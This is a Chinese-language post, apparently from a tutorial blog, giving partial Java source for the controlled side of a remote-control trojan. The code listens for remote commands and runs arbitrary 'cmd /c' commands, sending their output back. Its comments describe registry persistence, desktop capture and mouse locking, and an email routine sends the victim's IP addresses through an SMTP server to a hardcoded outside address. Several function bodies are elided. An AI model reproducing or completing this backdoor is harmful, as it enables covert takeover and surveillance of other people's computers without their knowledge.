被控制端部分代码
Test.Java
- public class Test {
- ServerSocket serverSocket;
- Socket socket;......
- public Test() {
- /*
- 在注册表中设置开机自动运行 register();
- 以及发送邮件,主要是把自己的IP发出来,并进行一些初始化......
- */
- go();
- }
- }
- /* 在注册表中设置开机自动运行 */
- void go() {
- while (true) {
- /*
- * 这里不断的接受发送过来的命令然后根据命令执行相应的操作
- * 如:(标有√,的是本程序已经实现的功能)
- * 1、我们可以通过开启一个线程通过robot锁定鼠标(√)
- * 2、执行dos命令(√)
- * 3、传输被控制端的文件
- * 4、查看被控制端的桌面(√)
- * 5、在被控制端弹出对话框(√)
- * 6、让被控制端闪屏(√)
- * 7、等等等等
- * 具体的实现都在这里进行,当然这个需要和控制者那段的代码相配合
- * 同时自己设计好具体的命令
- * */
- try {
- commendString = dis.readUTF().trim();
- } catch (IOException e) {
- System.out.println("leave");
- break;
- }
- 然后对commendString进行分析,执行相应的命令就是上面所描述的1,2,3...等等等命令
- }
- }
- /*在注册表注册开机自动启动*/
- public void register() {
- ......
- }
- /*启动线程锁定鼠标*/
- void mouseLock(String s) {
- ......
- }
- /*执行dos命令*/
- void dosExe(String dosString) {
- String command = "cmd /c " + dosString;
- String s = null;
- try {
- process = r.exec(command);
- bufferedReader = new BufferedReader(new InputStreamReader(process
- .getInputStream()));
- dos.writeUTF("1start");
- while ((s = bufferedReader.readLine()) != null) {
- s = s.trim();
- dos.writeUTF(s);
- }
- dos.writeUTF("1end");
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- /*发送图片*/
- void sendPic() {......
- }
- public static void main(String[] args) {
- new Test();
- }
- /*获取本地IP*/
- String getIP() {
- String ipString = "";
- Enumeration<NetworkInterface> netInterfaces = null;
- try {
- netInterfaces = NetworkInterface.getNetworkInterfaces();
- while (netInterfaces.hasMoreElements()) {
- NetworkInterface ni = netInterfaces.nextElement();
- ipString = ipString + ni.getDisplayName() + "\n";
- ipString = ipString + ni.getName() + "\n";
- Enumeration<InetAddress> ips = ni.getInetAddresses();
- while (ips.hasMoreElements()) {
- ipString = ipString + ips.nextElement().getHostAddress()
- + "\n";
- }
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- return ipString;
- }
- /*显示消息对话框*/
- class ShowDialogThread extends Thread {......
- }
- class MouseLockThread extends Thread {......
- }
- // 这里可以启动其它的应用程序
- class OtherApp extends Thread {
- }
- /*下面两个类用于文件复制*/
- class JarUtil {......
- }
- class MyCopy {
- public int fileCopy(String sFile, String oFile) {......
- }
- }
- /*
- * 发送邮件部分 需要一两个邮箱,一个是发送方邮箱,一个是接受邮箱
- */
- class SMail {
- boolean sended = false;
- Properties props;
- Session session;
- Message msg;
- Transport transport;
- public void send(String s) {
- try {
- // System.out.println(s);
- props = new Properties();
- props.setProperty("mail.smtp.auth", "true");
- props.setProperty("mail.transport.protocol", "smtp");
- session = Session.getDefaultInstance(props);
- // session.setDebug(true);
- msg = new MimeMessage(session);
- msg.setSubject("ip");
- msg.setText(s);
- /*xxxxxxxxxxxxxxxx为发送方邮箱用户名*/
- msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));
- transport = session.getTransport();
- /*xxxxxxxxxxxxxxxx为发送方邮箱用户名、
- *yyyyyyyyy为发送方邮箱密码*/
- transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");
- transport.sendMessage(msg, new Address[] { new InternetAddress(
- "496977458@qq.com") });
- transport.close();
- sended = true;
- } catch (Exception e) {
- }
- }
- public SMail() {
- sended = false;
- }
- }
- /*密码输入框*/
- class MyDialogPassInput extends JDialog {......
- }
- /*闪屏*/
- class Flash {......
- }
- /*输入对话框*/
- class MyDialogMsgInput extends JDialog {
- JTextField text;
- JButton sureButton;
- String string;
- public MyDialogMsgInput(String s) {......
- }
- }
